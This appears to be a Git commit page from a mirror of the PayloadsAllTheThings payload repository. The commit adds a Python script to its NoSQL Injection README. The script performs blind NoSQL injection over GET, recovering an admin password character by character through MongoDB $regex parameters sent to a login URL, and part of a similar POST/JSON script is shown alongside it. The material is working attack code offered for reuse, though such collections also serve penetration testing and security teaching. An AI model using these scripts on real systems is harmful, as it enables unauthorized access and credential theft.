ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

add nosqli GET example

Browse Source
This commit is contained in:
Alexandre ZANNI 2019-04-21 13:00:16 +02:00 committed by GitHub
parent 49b9d0aff7
commit e467d6096a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

27
NoSQL Injection/README.md
View File

@ -50,6 +50,9 @@ Extract data with "in"
## Blind NoSQL
### POST with JSON body
```python
import requests
import urllib3
@ -59,6 +62,7 @@ urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
while True:
for c in string.printable:
@ -70,6 +74,29 @@ while True:
password += c
```
### GET
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload='?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(u + payload)
if 'Yeah' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## MongoDB Payloads
```bash